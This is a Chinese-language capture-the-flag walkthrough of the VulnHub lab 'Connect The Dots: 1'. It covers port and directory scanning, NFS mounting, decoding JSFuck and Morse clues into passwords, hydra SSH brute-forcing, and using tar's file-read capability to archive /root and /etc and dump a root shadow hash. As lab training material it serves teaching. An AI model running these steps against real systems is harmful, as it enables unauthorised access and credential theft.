title: Vulnhub-Connect-The-Dots-1
categories:
- VulnHub
tags:
- Linux
- nmap
- SSH
- gobuster
- exiftool
- NFS
- JavaScript
- 摩斯密码
- JSFucK
- 密码爆破
- hydra
- FTP
- html
cover: /images/Vulnhub.png
abbrlink: 6002ab39
date: 2023-02-09 10:18:02
0x01 靶机介绍
-
Name: Connect The Dots: 1
-
Date release: 21 Oct 2019
-
Author: Sumit Verma
-
Series: Connect The Dots
-
Level: Beginner-Intermediate
-
User flag: user.txt
-
Root flag: root.txt
靶机下载地址:
https://www.vulnhub.com/entry/connect-the-dots-1,384/
0x02 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.105 -oA nmap_connect-the-dots-1
扫描结果显示目标开放了21、80、111、2049和7822端口,其中 rpcbind 中提供了 NFS 服务
80端口
访问http://192.168.0.105
界面如下,内容为庆祝兄弟生日快乐,同时提示这两兄弟名字只有N
和M
的区别
目录扫描
使用 gobuster 进行目录扫描,成功找到mysite
、backups
目录
gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
访问http://192.168.0.105/mysite
发现存在目录遍历
访问http://192.168.0.105/backups
则会直接下载备份文件
0x03 上线[norris]
NFS信息收集
查看目标的 NFS 挂载情况
showmount -e 192.168.0.105
创建新目录用于挂载目录/home/morris
mkdir nfs
mount -t nfs 192.168.0.105:/home/morris nfs
尝试访问其中文件,但是当前权限不足
JS代码分析
在/mysites
目录中下载并查看bootstrap.min.cs
,而文件中的参数值采用 JSFuck 加密
more bootstrap.min.cs
同时在注册界面register.html
的源代码中发现该文件被调用
在浏览器中的Console
中执行命令拼接 JS 脚本提供的所有参数
console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)
在解密网站上对拿到的密文进行破解
网站地址:
http://codertab.com/JsUnFuck
成功拿到字符串You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19
,其中TryToGuessThisNorris@2k19
可能为登录密码
SSH密码爆破
结合以上结果分析存在两个账号norris
和morris
,配合密码进行爆破
hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.0.105 -s 7822
成功登录norris
用户并在家目录下拿到第一个flag
ssh norris@192.168.0.105 -p 7822
cat user.txt
0x04 权限提升[morris]
FTP信息收集
查看用户信息
cat /etc/passwd | grep -v nologin
查看 FTP 目录中的文件
cd /ftp/files && ls
当然也可以直接登录 FTP 并下载其中文件
ftp 192.168.0.105
ftp > get game.jpg.bak
ftp > ...
使用命令查询文件的具体信息,在game.jpg.bak
中发现摩斯密码
exiftool game.jpg.bak
exiftool hits.txt.bak
...
通过在线网站进行解码拿到解码后的结果,提示存在可公开访问的文件SECRETFILE
解密地址:
https://gchq.github.io/CyberChef/
.... . -.-- ....... -. --- .-. .-. .. ... --..-- ....... -.-- --- ..- .----. ...- . ....... -- .- -.. . ....... - .... .. ... ....... ..-. .- .-. .-.-.- ....... ..-. .- .-. ....... ..-. .- .-. ....... ..-. .-. --- -- ....... .... . .- ...- . -. ....... .-- .- -. -. .- ....... ... . . ....... .... . .-.. .-.. ....... -. --- .-- ..--.. ....... .... .- .... .- ....... -.-- --- ..- ....... ... ..- .-. . .-.. -.-- ....... -- .. ... ... . -.. ....... -- . --..-- ....... -.. .. -.. -. .----. - ....... -.-- --- ..- ..--.. ....... --- .... ....... -.. .- -- -. ....... -- -.-- ....... -... .- - - . .-. -.-- ....... .. ... ....... .- -... --- ..- - ....... - --- ....... -.. .. . ....... .- -. -.. ....... .. ....... .- -- ....... ..- -. .- -... .-.. . ....... - --- ....... ..-. .. -. -.. ....... -- -.-- ....... -.-. .... .- .-. --. . .-. ....... ... --- ....... --.- ..- .. -.-. -.- .-.. -.-- ....... .-.. . .- ...- .. -. --. ....... .- ....... .... .. -. - ....... .. -. ....... .... . .-. . ....... -... . ..-. --- .-. . ....... - .... .. ... ....... ... -.-- ... - . -- ....... ... .... ..- - ... ....... -.. --- .-- -. ....... .- ..- - --- -- .- - .. -.-. .- .-.. .-.. -.-- .-.-.- ....... .. ....... .- -- ....... ... .- ...- .. -. --. ....... - .... . ....... --. .- - . .-- .- -.-- ....... - --- ....... -- -.-- ....... -.. ..- -. --. . --- -. ....... .. -. ....... .- ....... .----. ... . -.-. .-. . - ..-. .. .-.. . .----. ....... .-- .... .. -.-. .... ....... .. ... ....... .--. ..- -... .-.. .. -.-. .-.. -.-- ....... .- -.-. -.-. . ... ... .. -... .-.. . .-.-.-
使用 find 命令寻找该文件,但由于权限问题查询失败
find / -name SECRETFILE -print 2>&1| grep -v "Permission denied"
最终在默认站点目录/var/www/html
中成功找到
读取secretfile
成功,但读取.secretfile.swp
提示权限不足
通过 wget 下载并查看,成功拿到密码blehguessme090
wget http://192.168.0.105/.secretfile.swp
strings .secretfile.swp
SSH登录
利用以上密码成功登录 morris 用户
ssh morris@192.168.0.105 -s 7822
0x05 权限提升[root]
信息收集
使用 getcap 获取遍历程序文件所具有的能力,成功发现tar
命令为 CAP_DAC_READ_SEARCH,即忽略文件读及目录搜索的DAC访问限制
/sbin/getcap -r / 2>/dev/null
但tar
命令只有其属主和属组才能执行,恰好 norris 用户组是其属组
ls -la /usr/bin/tar
获取flag
利用 tar 命令打包/root
目录并解压
cd /tmp
tar -zcvf root.tar.gz /root
tar -zxvf root.tar.gz
在/tmp/root
目录中成功拿到第二个flag
如果想要拿到 root 的密码哈希可打包/etc
目录
tar -zcvf etc.tar.gz /etc
tar -zxvf etc.tar.gz
查看shadow
cd etc
more /shadow
root 用户的密码散列值如下
root:$6$DYYhzsqi6yNN6LHi$sFqgqKjfvWuRFbbf6YLVaRI3FgvDRpTFWPFxXm.vMh7rXTAQ1UbjkIYJG.KK5BaZeek9fbq9Yasb3H1LU4zDB0:1817
0x06 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub Connect-The-Dots-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论